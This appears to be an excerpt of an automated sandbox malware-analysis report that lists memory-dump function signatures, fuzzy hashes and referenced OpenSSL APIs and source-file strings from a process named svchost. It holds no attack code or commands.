Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_family$R_clearmemcmp$O_malloc
String ID: ssl\quic\quic_record_tx.c
API String ID: 552621978-2432027203
Opcode ID: 32a867cf7354396dc50e17b62c3267e615d76f295c64cb9f0ac8b9bcaca93b3f
Instruction ID: 2a56eed4e95cf959f0a0e2f3bdd300ef43228230ebb6122b4d7833d0571d62d0
Opcode Fuzzy Hash: 32a867cf7354396dc50e17b62c3267e615d76f295c64cb9f0ac8b9bcaca93b3f
Instruction Fuzzy Hash: 3AC185A2A4AF4282EA6ACF31D540B7963A4FB44B84F18C635DF6D473A5DF38ED558300

Function 00007FFBAB417BEE Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB417C0B
CRYPTO_strdup.LIBCRYPTO-3-X64 ref: 00007FFBAB417C63
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB417C78
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB417C90
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB417C9F
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB417CB7
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB417CC6
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB417CDE

Strings

ssl3_ctrl, xrefs: 00007FFBAB417C7D, 00007FFBAB417CA4, 00007FFBAB417CCB
ssl\s3_lib.c, xrefs: 00007FFBAB417BFE, 00007FFBAB417C59, 00007FFBAB417C89, 00007FFBAB417CB0, 00007FFBAB417CD7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_freeO_strdup
String ID: ssl3_ctrl$ssl\s3_lib.c
API String ID: 2909881267-3530330221
Opcode ID: 81464fcfccb8d5cc0b942b1e4816ac6f7d0422117e21e81cea356ccffdaf2187
Instruction ID: 0d99f255f814d5f2d52817eb46d6e326bd9421fcc78b4be95c4eb3ee7d95282a
Opcode Fuzzy Hash: 81464fcfccb8d5cc0b942b1e4816ac6f7d0422117e21e81cea356ccffdaf2187
Instruction Fuzzy Hash: DF2169F1E5F64651FA23AB66E5423BE2312BF40740F94C43ACD2D066FADE6CE9468310

Function 00007FFBAB4440E0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB423BC0,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB444113
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB423BC0,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB44412C
BN_free.LIBCRYPTO-3-X64(?,00007FFBAB423BC0,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB444144
BN_free.LIBCRYPTO-3-X64(?,00007FFBAB423BC0,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB444150
BN_free.LIBCRYPTO-3-X64(?,00007FFBAB423BC0,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB44415C
BN_free.LIBCRYPTO-3-X64(?,00007FFBAB423BC0,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB444168
BN_free.LIBCRYPTO-3-X64(?,00007FFBAB423BC0,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB444174
BN_free.LIBCRYPTO-3-X64(?,00007FFBAB423BC0,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB444180
BN_free.LIBCRYPTO-3-X64(?,00007FFBAB423BC0,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB44418C

Strings

ssl\tls_srp.c, xrefs: 00007FFBAB444106, 00007FFBAB44411F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: N_free$O_free
String ID: ssl\tls_srp.c
API String ID: 3506937590-1545769946
Opcode ID: 588c221622fd9f9397c94c92d8b00cb2f7c498d30d7df2df0f2271ccf8939536
Instruction ID: 499b588b6af9bb115108e165d03c7e57054b148713cd754bc0438138337f0bf7
Opcode Fuzzy Hash: 588c221622fd9f9397c94c92d8b00cb2f7c498d30d7df2df0f2271ccf8939536
Instruction Fuzzy Hash: 38211092E55AC282EB66DF71C8913FC1314FB94B48F099231FE1C4B56ADF64A2D68310

Function 00007FFBAB43CED0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 155COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB43CEF8
memset.VCRUNTIME140 ref: 00007FFBAB43CF2C
CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB43CF40
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43D01E
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43D036
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43D0FB
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43D113

Strings

ssl\t1_lib.c, xrefs: 00007FFBAB43CEE4, 00007FFBAB43CF39, 00007FFBAB43D02F, 00007FFBAB43D10C
tls1_set_server_sigalgs, xrefs: 00007FFBAB43D023, 00007FFBAB43D100

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_freeO_zallocmemset
String ID: ssl\t1_lib.c$tls1_set_server_sigalgs
API String ID: 2125936233-369108580
Opcode ID: 0063be12e3aa0a5680b7b466bd4ad08d65ae94629470a89da5b71de4fd39b615
Instruction ID: bab4895dc1a26a9bafffffaf17aa974775d496da21c749a66c94266b53262baa
Opcode Fuzzy Hash: 0063be12e3aa0a5680b7b466bd4ad08d65ae94629470a89da5b71de4fd39b615
Instruction Fuzzy Hash: B6618FB2A0AA4681EB129B36E4413F927A1FB45F88F4C8031DE2D477A5DF7DE5928350

Function 00007FFBAB462BA0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

OPENSSL_LH_retrieve.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB44DB40), ref: 00007FFBAB462BEC
CRYPTO_zalloc.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB44DB40), ref: 00007FFBAB462C23
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB44DB40), ref: 00007FFBAB462C63
OPENSSL_LH_insert.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB44DB40), ref: 00007FFBAB462C9A
OPENSSL_LH_insert.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB44DB40), ref: 00007FFBAB462CF3
OPENSSL_LH_retrieve.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB44DB40), ref: 00007FFBAB462D1A
OPENSSL_LH_insert.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB44DB40), ref: 00007FFBAB462D2E
OPENSSL_LH_insert.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB44DB40), ref: 00007FFBAB462D88

Strings

ssl\quic\quic_srtm.c, xrefs: 00007FFBAB462C17, 00007FFBAB462C59

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_insert$H_retrieve$O_freeO_zalloc
String ID: ssl\quic\quic_srtm.c
API String ID: 3332892965-1571964953
Opcode ID: 0b0e0732b3e0901c1f5170e4c6a76bc027f72e1e57d7a0f2cef3f43093058a72
Instruction ID: 2766bbdb2c55f23387f0fec29046f969fd2f70b92b9300c9e7e121d1fc8b2ae7
Opcode Fuzzy Hash: 0b0e0732b3e0901c1f5170e4c6a76bc027f72e1e57d7a0f2cef3f43093058a72
Instruction Fuzzy Hash: BF5183A2B0AB4291EA669B36D4A027DA3A0FF44FC4F04C439DE6D477A5EF3CE5558300

Function 00007FFBAB49844C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB498504
CRYPTO_memdup.LIBCRYPTO-3-X64 ref: 00007FFBAB498529
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB498541
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB498559

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4985B3
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4985CB

Strings

C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/packet.h, xrefs: 00007FFBAB4984F7, 00007FFBAB49851D
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB498552, 00007FFBAB4985C4
tls_process_next_proto, xrefs: 00007FFBAB498546, 00007FFBAB4985B8

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_freeO_memdupR_vset_error
String ID: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/packet.h$ssl\statem\statem_srvr.c$tls_process_next_proto
API String ID: 464498836-56982555
Opcode ID: 63642cc689758fb4ec4ee4fe9c4727acf58d27852583a43ad9a713bda0192c09
Instruction ID: 6e8b9b61bc547e212e91a988e493e5bf684660a9e8abbcaa01db69654a176ad7
Opcode Fuzzy Hash: 63642cc689758fb4ec4ee4fe9c4727acf58d27852583a43ad9a713bda0192c09
Instruction Fuzzy Hash: 9841E962F0EB8181E7128B25E4402FDA3A0FB95784F088135EF9C17B66EF3CD1958740

Function 00007FFBAB416FC0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 104COMMON

Download Yara Rule

Strings

ssl3_setup_key_block, xrefs: 00007FFBAB41711B
ssl\s3_enc.c, xrefs: 00007FFBAB4170C8, 00007FFBAB4170EE, 00007FFBAB417127

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID: ssl3_setup_key_block$ssl\s3_enc.c
API String ID: 0-3285098195
Opcode ID: 3d40ff9ed8ce44778de679dcad4de8540c9c0705278cbbc43176229b5d892b59
Instruction ID: 159094cf6ad547a27af6edf9363aa35b7303d787ea9013cf1679108dc3c97ab9
Opcode Fuzzy Hash: 3d40ff9ed8ce44778de679dcad4de8540c9c0705278cbbc43176229b5d892b59
Instruction Fuzzy Hash: E4419372B49A8282E755DB75F5412ADB3A4FB84B80F408135EFAC87B66EF3CE0558700

Function 00007FFBAB45A910 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A94B
OPENSSL_LH_new.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A96A
OPENSSL_LH_set_thunks.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A993
OPENSSL_LH_new.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A9AF
OPENSSL_LH_set_thunks.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A9D8
OPENSSL_LH_free.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A9F6
OPENSSL_LH_free.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A9FF
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45AA14

Strings

ssl\quic\quic_lcidm.c, xrefs: 00007FFBAB45A941, 00007FFBAB45AA0A

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_freeH_newH_set_thunks$O_freeO_zalloc
String ID: ssl\quic\quic_lcidm.c
API String ID: 1806772546-3923830422
Opcode ID: 2eb3d8455a65ec606cb78af399c6bd19ff677b15e37c08fd1a01727ef15f76e6
Instruction ID: c4c97f86f7a32db8212884cd8e8987b371f825767ccceb98dd7f7e63d44b2929
Opcode Fuzzy Hash: 2eb3d8455a65ec606cb78af399c6bd19ff677b15e37c08fd1a01727ef15f76e6
Instruction Fuzzy Hash: 56311AA1A0AB6695EA12DB35E8410B87360FF44B84F44C536DD6D4B3B6EF3CE949C380

Function 00007FFBAB478B90 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

BIO_free.LIBCRYPTO-3-X64(-0000001F,00007FFBAB4769C0,?,00007FFBAB472462), ref: 00007FFBAB478BB4
BIO_free.LIBCRYPTO-3-X64(-0000001F,00007FFBAB4769C0,?,00007FFBAB472462), ref: 00007FFBAB478BBD
BIO_free.LIBCRYPTO-3-X64(-0000001F,00007FFBAB4769C0,?,00007FFBAB472462), ref: 00007FFBAB478BC6
CRYPTO_free.LIBCRYPTO-3-X64(-0000001F,00007FFBAB4769C0,?,00007FFBAB472462), ref: 00007FFBAB478BDF
EVP_CIPHER_CTX_free.LIBCRYPTO-3-X64(-0000001F,00007FFBAB4769C0,?,00007FFBAB472462), ref: 00007FFBAB478C05
EVP_MD_CTX_free.LIBCRYPTO-3-X64(-0000001F,00007FFBAB4769C0,?,00007FFBAB472462), ref: 00007FFBAB478C11
OPENSSL_cleanse.LIBCRYPTO-3-X64(-0000001F,00007FFBAB4769C0,?,00007FFBAB472462), ref: 00007FFBAB478C35
CRYPTO_free.LIBCRYPTO-3-X64(-0000001F,00007FFBAB4769C0,?,00007FFBAB472462), ref: 00007FFBAB478C60

Strings

ssl\record\methods\tls_common.c, xrefs: 00007FFBAB478BD2, 00007FFBAB478C53, 00007FFBAB478C78

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$X_free$L_cleanse
String ID: ssl\record\methods\tls_common.c
API String ID: 3857070794-847517130
Opcode ID: 16ae880bbcd7f4f12206f7fb58f8a980b4d9ceb1a77b75ec99dd5c3ccc35a193
Instruction ID: 6da75c0ba69b68ca52b770ebe39fd5199cd771ce41a8aa85df5fd677d0c3d10b
Opcode Fuzzy Hash: 16ae880bbcd7f4f12206f7fb58f8a980b4d9ceb1a77b75ec99dd5c3ccc35a193
Instruction Fuzzy Hash: 22215672B5AA4185EB21EB35E8852FD6725FB84B80F048035EFAE43766DE3CE545C701

Function 00007FFBAB47EFA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB47F041
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47F05F
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47F077
memcpy.VCRUNTIME140 ref: 00007FFBAB47F0A6
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47F10C
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47F124

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB47F032, 00007FFBAB47F070, 00007FFBAB47F11D
tls_construct_ctos_session_ticket, xrefs: 00007FFBAB47F064, 00007FFBAB47F111

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_mallocmemcpy
String ID: ssl\statem\extensions_clnt.c$tls_construct_ctos_session_ticket
API String ID: 1077327330-1875783020
Opcode ID: 1596e0af75f30e872f9208defff7981b8469c0809c04e29b16abea55fd6c7c34
Instruction ID: 99b6b899c46438cd1c2530dd1b7a8df6b061a01de580d57d66e2e072ff349b33
Opcode Fuzzy Hash: 1596e0af75f30e872f9208defff7981b8469c0809c04e29b16abea55fd6c7c34
Instruction Fuzzy Hash: AB416DA2A1A6C281FB669B35D4817B923A0EB44B84F04C436DE2D437B5CF7CE995C341

Function 00007FFBAB43CB80 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB443E97,?,00007FFBAB417BE9), ref: 00007FFBAB43CBB8
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB443E97,?,00007FFBAB417BE9), ref: 00007FFBAB43CBD0
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,00007FFBAB443E97,?,00007FFBAB417BE9), ref: 00007FFBAB43CBE0
CRYPTO_malloc.LIBCRYPTO-3-X64(?,?,?,00007FFBAB443E97,?,00007FFBAB417BE9), ref: 00007FFBAB43CC0C
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,00007FFBAB443E97,?,00007FFBAB417BE9), ref: 00007FFBAB43CC77

Strings

ssl\t1_lib.c, xrefs: 00007FFBAB43CBC9, 00007FFBAB43CC05, 00007FFBAB43CC6D, 00007FFBAB43CCD4
tls1_set_groups, xrefs: 00007FFBAB43CBBD

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_mallocR_newR_set_debugR_set_error
String ID: ssl\t1_lib.c$tls1_set_groups
API String ID: 3444577743-501428225
Opcode ID: 3387ba08c0ef94040f6f763e6a0fa10ff7a0d40c00e755005ab5945b47214827
Instruction ID: 62a9511f52ffcf49e17a07745f437cfe13bea401871b7c34a06b025d5d9fbd31
Opcode Fuzzy Hash: 3387ba08c0ef94040f6f763e6a0fa10ff7a0d40c00e755005ab5945b47214827
Instruction Fuzzy Hash: BE41D2B3A0A75682EB12DB26E4406BA6391FF44784F488431EE1D83BA5EE3DD656C700

Function 00007FFBAB412460 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB41247F
CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB4124A8
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB412536

Strings

crypto\thread\arch\thread_win.c, xrefs: 00007FFBAB412475, 00007FFBAB41249D, 00007FFBAB41252C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_mallocO_zalloc
String ID: crypto\thread\arch\thread_win.c
API String ID: 3820030834-2915021490
Opcode ID: c37737e365c2ce0626f2e2ceccc942b4325635cc8ce8ee4579d867cc04c18adb
Instruction ID: 3507dce07dec5d7acd84757818f886a6d6c73d9003cf23d91d9643ab0a839dbe
Opcode Fuzzy Hash: c37737e365c2ce0626f2e2ceccc942b4325635cc8ce8ee4579d867cc04c18adb
Instruction Fuzzy Hash: F421F0B1B1AB5281EB66CB36F85167826E0AF09B88F049139CD2D877A4EF3CE0508700

Function 00007FFBAB45A2C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB45A567,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB45A310
OPENSSL_LH_insert.LIBCRYPTO-3-X64(?,00007FFBAB45A567,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB45A33B
OPENSSL_LH_error.LIBCRYPTO-3-X64(?,00007FFBAB45A567,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB45A344
OPENSSL_LH_insert.LIBCRYPTO-3-X64(?,00007FFBAB45A567,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB45A354
OPENSSL_LH_error.LIBCRYPTO-3-X64(?,00007FFBAB45A567,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB45A35D
OPENSSL_LH_delete.LIBCRYPTO-3-X64(?,00007FFBAB45A567,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB45A36D
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB45A567,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB45A382

Strings

ssl\quic\quic_lcidm.c, xrefs: 00007FFBAB45A304, 00007FFBAB45A378

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_errorH_insert$H_deleteO_freeO_zalloc
String ID: ssl\quic\quic_lcidm.c
API String ID: 190680123-3923830422
Opcode ID: eeceed8d67f2690089884639a528604250089903e4d745cf7e1d1ce9f3735ef8
Instruction ID: 2214a30fc4d3aeef3a1d82aadd60267fdd9f0cd13211496cdee13c1a4411fa36
Opcode Fuzzy Hash: eeceed8d67f2690089884639a528604250089903e4d745cf7e1d1ce9f3735ef8
Instruction Fuzzy Hash: 1C2192A1B0AB8185E762DB36E44117D6760EB84BC0F048535EFAD47BA6DF2CE9908710

Function 00007FFBAB430EF0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB430F47
memcpy.VCRUNTIME140 ref: 00007FFBAB430F7E
